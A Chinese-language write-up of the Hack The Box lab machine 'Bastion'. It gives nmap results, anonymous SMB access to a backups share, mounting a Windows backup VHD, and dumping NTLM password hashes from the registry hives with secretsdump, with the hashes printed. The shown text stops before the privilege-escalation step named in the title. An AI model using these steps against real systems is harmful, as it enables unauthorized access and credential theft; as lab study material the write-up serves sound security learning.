[Meachines] [Easy] Bastion SMB未授权访问+VHD虚拟硬盘挂载+注册表获取NTLM哈希+mRemoteNG远程管理工具权限提升

news2025/2/5 22:01:27

信息收集

IP Address	Opening Ports
10.10.10.134	TCP:22, 135, 139, 445, 5985, 47001, 49664, 49665, 49666, 49667, 49668, 49669, 49670

$ nmap -p- 10.10.10.134 --min-rate 1000 -sC -sV

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

挂载 SMB

$ smbmap -H 10.10.10.134 -u aaaa

$ smbclient -N //10.10.10.134/backups

smb: \> get note.txt

系统管理员：请不要将整个备份文件传输到本地，子公司办公室的 VPN 连接速度太慢

挂载 VHD虚拟硬盘

VHD（Virtual Hard Disk）是一种虚拟化技术中使用的磁盘镜像格式。它允许将虚拟磁盘（如硬盘）封装在一个文件中，使得虚拟机或虚拟环境可以使用这些虚拟磁盘，就像使用真实的硬盘一样。

将网络共享（通常是 SMB/CIFS 共享）挂载到本地目录

$ sudo mkdir /mnt/10.10.10.134-User

$ sudo mount -t cifs //10.10.10.134/backups /mnt/10.10.10.134-User -o user=,password=

$ sudo apt install multipath-tools

$ sudo apt install qemu-utils

加载 nbd 模块

$ sudo modprobe nbd max_part=8

使用 qemu-nbd 连接 VHD 文件到 nbd 设备：

$ sudo qemu-nbd -c /dev/nbd0 /mnt/10.10.10.134-User/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd

使用 kpartx 映射分区

$ sudo kpartx -a /dev/nbd0

挂载分区

$ sudo mount /dev/mapper/nbd0p1 /mnt/10.10.10.134-VHD

注册表获取NTLM哈希

存储注册表配置单元的config目录中，使用secretsdump转储密码哈希：

$ cd /mnt/10.10.10.134-VHD/Windows/System32/config

$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e4487d0421e6611a364a5028467e053c:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

https://crackstation.net/